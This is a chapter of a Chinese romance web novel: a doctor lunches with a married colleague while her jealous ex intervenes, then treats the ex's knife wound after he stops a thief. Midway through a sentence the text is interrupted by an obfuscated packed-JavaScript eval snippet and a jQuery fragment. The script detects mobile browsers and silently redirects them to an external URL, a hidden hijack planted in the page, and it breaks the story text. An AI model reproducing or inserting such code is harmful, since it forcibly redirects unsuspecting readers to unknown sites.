13.第 13 章
作品:《明知妄念[京圈]》 顾鸢对于他的刻薄早就习惯,全世界所有男人,恐怕都没一个能入他老人家法眼。
她充耳不闻,继续给陆珩拍视频。
英俊的青年在台上侃侃而谈,浑身散发着智慧和理性的光芒,成熟,持重,连每一个抬手点头的姿势,抑扬顿挫的音调都恰到好处。
顾鸢不禁唏嘘,当年她竟然没发现陆珩的魅力。可能是国外女人不吃他的颜,那段时期他又醉心学术,青涩木讷不善交际,才没能成为风云人物。
今天看过他演讲,顾鸢突然理解了夏若和叶子琪,和那些捧他为“最帅副教授”的学生们。
顾鸢思考的表情落入祁景之眼中,加了某种滤镜,变成不折不扣的花痴。
面前茶水被他端起来一饮而尽。
顾鸢丝毫没发现邻座的小插曲,等陆珩下台后,重新打开录音笔,把视频发到科室小群。
演讲进行到中午休息,主办方给所有人准备了学校餐厅的饭卡。
散场后,顾鸢直接背向他从另一个方向出去,到出口与陆珩会和。两人说了些什么,便结伴往餐厅走。
祁景之这边却挪动得很慢,有几位腿脚不便的老者在前面,他一直看着那两人消失,自己依然被堵在会场中央。
*
顾鸢初中就出了国,没念过国内的大学,对大学里这种琳琅满目花花绿绿的食堂很感兴趣。
同样是食堂,学校和医院的差别很大。
为了满足各地学生的需求,八大菜系和外国菜应有尽有,什么意面牛排,韩式部队锅,寿司乌冬面,椰子鸡咖喱饭,麻辣香锅螺蛳粉……但凡能想到的这里都有。
一侧是正统午餐,另一侧还有烧烤,关东煮,水果捞,最近流行的干噎酸奶等等,像把小吃街搬到了食堂。
陆珩看着她茫然的表情笑了笑:“要不要去二楼餐厅?点菜现做的,环境也好。”
“就这儿吧。”她喜欢和学生们在一块儿的青春气息。
“行,就这儿。”
陆珩如今是已婚男士,顾鸢得避嫌,于是没和他一起吃麻辣香锅或火锅,自己买了份拌饭套餐,同个窗口有韩式炸鸡,便也买了一份。
最近很想念蜂蜜芥末酱的香味。
两人面对面坐着,顾鸢啃着炸鸡,边吃边聊点工作上的事,陆珩向她介绍海城医科大的情况,和自己近两年的科研计划。
“跟你比,我那些都是小儿科了。”陆珩温厚地笑着,“现在我就希望家庭幸福,和青青好好过日子,其他的都是锦上添花。”
顾鸢拿果汁和他碰碰:“你又不缺钱,日子怎么过都不会差,况且有这么好的嫂子。”
“是啊。”陆珩干了杯,眼底都是幸福,“能遇见她,是我这辈子最大的福气。”
谈话氛围和谐友好,直到不速之客突然降临。
那人先放下餐盘,往顾鸢旁边推了推,随即人也挨着她坐下。
陆珩察觉到什么,望着祁景之问:“这位是?”
顾鸢:“高中同学。”
还没来得及开口的祁景之面容冷下来。
好一个高中同学。
“他也来参会,偶然遇到的。”顾鸢轻描淡写地继续解释,“对了学长,你会上说的那个概念,我还是有点疑问……”
话题转移到专业范畴,祁景之就这么被两人排除在外,一句话也插不进去。
直到他碗里的饭快要吃完,起身离开。
陆珩瞥一眼男人背影,压低嗓音:“你这个高中同学,在追你?”
顾鸢:“没有的事儿。”
陆珩见她神色间毫无动容,一如既往的清冷淡定,敛眉沉思了下,没再多说。
顾鸢以为祁景之走了,不料还没到一分钟,人又坐回她旁边。
同时带回一份水果拼盘。
带着敌意和显摆的眼神瞄向陆珩,把水果拼盘放到她碗边:“天气干燥,吃点儿水果。”
她不爱吃水果这事除了爸妈,最了解的是祁景之。
她以为他早已忘掉。
他顺口招呼陆珩:“陆教授,您也吃点儿。”
陆珩了然的目光依次掠过两人,哪能察觉不到祁景之这份邀请纯属违心,绵里藏针,怕是恨不得把他千刀万剐。
他无意插入两人之间,饭也吃得差不多了,拿着手机起身:“学妹,你们慢吃,我去给老婆打个电话。”
顾鸢“嗯”了声,端起海带汤喝。
祁景之压下震惊的眼色,目送完陆珩离开,闷闷地从水果盘里拿了块芒果肉:“他结婚了,怎么不早说?”
顾鸢淡定地喝着汤:“你又没问。”
说着,她侧过头看他一眼,没什么温度:“你介意这个?不是说咱俩的事儿翻篇了吗?要是你那边还没忘干净,麻烦告诉我一声,我以后尽量不出现在你面前,影响你情绪。”
祁景之被她这番挑不出错的冷酷言论怼得哭笑不得,嘴角扯出难看的弧度:“你多虑了,我只是就事论事。”
“哦。”顾鸢慢慢嚼着汤里的海带,“我也只是配合你的优越感。”
祁景之眼底疑惑。
“我的确眼光差,但没办法。”顾鸢把喝干净的碗放进餐盘,拿纸巾擦了擦嘴,慢条斯理地说,“天生的,从小就这样。”
“……”被无端内涵到的男人,默默折断了手里的塑料水果叉。
*
下午的演讲,两人都没怎么说话,结束后顾鸢提前叫好的车已经停在礼堂外的路边。
峰会只剩明天一天了,最后有一个抗癌基金会发起的募捐仪式,顾鸢想起此行没带现金,把目的地临时修改到酒店附近的银行。
取了一万块钱,把牛皮纸信封揣进包里,若无其事地离开大厅。
同时和她走出银行门的,还有一位表情异常的中年妇女,背包的右肩明显耸起来,右手小心翼翼地搭在包上面,估计取了不少钱。
顾鸢刚准备导航回酒店,还没从包里拿出手机,突然被人用力撞了一下,紧接着有人在身后大喊:“抓小偷!快抓住他啊!我的金条——”
脚下传来清脆的“咯吱”一声,像踩裂了什么。
直觉告诉她一定是重要的东西,低头一看,果然是她会上用的录音笔。
刚才拿手机时被小偷撞到,不慎从包里掉出来,遭了殃。
而这时,刚开上银行门口停车露台的一辆黑色商务车里,西装笔挺的男人跑下来,健步如风,顾鸢只看见一道虚影,小偷已经被摁在路旁的树干上。
灰头土脸的小偷龇牙咧嘴地挣扎,上脚踢,上嘴咬,最后竟不知从哪变出一把水果刀,狠狠扎下去。
男人灵巧地躲开,刀刃划破灰色的西装袖口,膝盖猛顶小偷的腿窝,双手蛮横反剪,小偷痛呼着面朝树干跪下。
警车来时,小偷已然被制服,扭送上警车。
为首的警官向祁景之道谢,询问见义勇为的热心市民叫什么名字。
他没说,借口要进银行办事,转身走了。
上台阶前,他回头看了眼蹲在地上的顾鸢。
她手里正拿着那只碎裂的录音笔,叹了口气。
身后自动门关上,他低声问严旭:“会场录像谁负责?”
严旭:“我问问。”
*
顾鸢回到酒店第一件事,上网查录音笔踩裂了怎么办,结果没人和她同样遭遇。
倒有人问录音笔坏掉的,充不进电或者死机的,高赞回复——找男朋友修,让男朋友买新的。
所以这地球没男人是不转了吗?
顾鸢鄙视地撇了撇嘴,关掉不靠谱的社交平台,灵机一动,找出当初购买录音笔的订单。
她运气好,虽然不是什么大品牌,但时隔许久店铺还开着。
客服回复及时,告诉她如何拆卸出录音笔里的内存卡。
如果内存卡没有被损坏,里面的数据就没丢失,用读卡器上传给电脑就好。
顾鸢找酒店借了套工具,第一次亲自动手干这种活,在房间里鼓捣了一个多小时,才成功取出内存卡。
没带电脑,用转换接头连接到手机,成功找回那几个小时的演讲录音。
“所以男人到底有什么用?”一身轻松的顾鸢把碎裂的录音笔残骸抛进垃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918656|176827||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
圾桶,得意地啧了声。
脑中突然冒出个想法,再买只不带内存的空录音笔回来,原封原把它装回去。
事不宜迟,她当场下单。
为录音笔折腾到天黑,肚子都饿了,点完外卖又饿了半个小时才送到。
顾鸢打开门,外面站着的不是外卖小哥或机器人,而是银行门口匆匆打过照面的男人。
手机正播放着今天上午的演讲录音,闲来无事,她把每个人的录音单独剪切出来,方便收藏。
祁景之越过她头顶看了眼,不动声色地收紧左手指,指尖恍惚露出黑色的什么东西,他揣进裤兜,把另一只手里的塑料袋递给她:“刚碰到外卖员,顺便。”
“哦。”是她的晚餐,顾鸢接过来笑了笑,“多谢。”
“不客气。”
男人转身要回自己房间时,顾鸢目光一凝,拉住他左臂:“你受伤了?”
在银行只看见那把刀划破了衣服,想他躲得快,肯定没事。可这会儿衣袖破损边缘的颜色,显然是干涸的血迹。
她是医生,即便深色衣服染血,她也不会看错。
祁景之毫不在意地扯了下唇:“小伤,睡一觉就好。”
“是不是小伤看过才知道。”顾鸢不由分说抓住他胳膊肘,“进来。”
职业习惯,她出差也带医药箱,里面药品用具齐全,还有冷藏区,每天都要给蓄电池充电。之前跟过深山救援的医疗队,习惯什么都备齐,有些事看似麻烦又多此一举,但关键时刻能救命。
伤口没到筋骨,但也不算皮外伤了,需要缝针。
祁景之看着她从冷藏箱拿药水和一次性针管,瞳孔缩了缩:“这什么?”
“破伤风。”她动作麻溜地备药。
男人强装镇定的眼神已经泄露出紧张:“我觉得,就不用了吧……”
顾鸢冷漠撩眼:“你是医生我是医生?你凭什么觉得?”
“……”本就岌岌可危的气势更弱了几分,五官紧绷着,乖乖闭嘴。
“裤子脱了。”
祁景之整个人几乎一跳:“啊?”
顾鸢面无表情:“这是屁股针。”
“……”男人只得照做,解开腰带,小心翼翼地把后面裤子边缘往下拉,全然没了那天刚洗完澡对着她展露身材的得意。
人有时候挺奇怪,换个时间换个情形,对同一件事的心态天壤之别。
就像现在,磨磨蹭蹭的是他,顾鸢实在没了耐心,直接抓着布料一扯,露出大片白皙弹嫩的肌肤。
针扎进皮肉的那刻,沙发被手指掐出了声音,同时还有男人隐忍的闷哼,痛苦得像要哭出来。
顾鸢一边推着药水,一边看他僵直的身体,眼底难得露出兴味,浑身冷感也消融了些。
几秒后拔针,面前的人依然保持僵硬痛苦的姿势,头撇在一边不敢看,甚至不记得拉起裤子。
沙发快要被揪破,顾鸢把针和药水扔进专用的医疗垃圾袋,终于忍不住笑了一声:“打完了。”
“哦,打完了。”男人用力舒了口气,后知后觉地整理裤子和腰带,“打完了。”
那语气像在哄他自己。
顾鸢收起表情,憋着笑,给针线消毒。
祁景之刚刚捋顺的呼吸又屏住,嘴唇翕动着似乎想开口,可看着她冷脸认真的模样,瞳孔震颤地忍下。
开始前,顾鸢装模作样问了一句:“祁总,您不用打麻药吧?”
因为某些难以克制的情绪和反应,他的头脑和语言系统都有点迟钝。
还没开口,被顾鸢轻飘飘截住:“认识一场,手术费就免了,算我友情帮忙,但药品都是明码标价,少不了,回北京可以让医院开发票。刚才的进口破伤风300,你抗毒素过敏只能打这个。缝针如果你怕疼,上麻药——”
“谁怕疼了?”男人看过来,额头绷着青筋装淡定,一贯沉冽的嗓音早已飘忽发抖,“上什么麻药,直接缝。”
顾鸢嘴角憋笑到抽搐。
“哦,我忘了。”她一边稳稳下针,一边用恍然大悟似的语气,开口调侃,“你不是怕疼,是怕针。”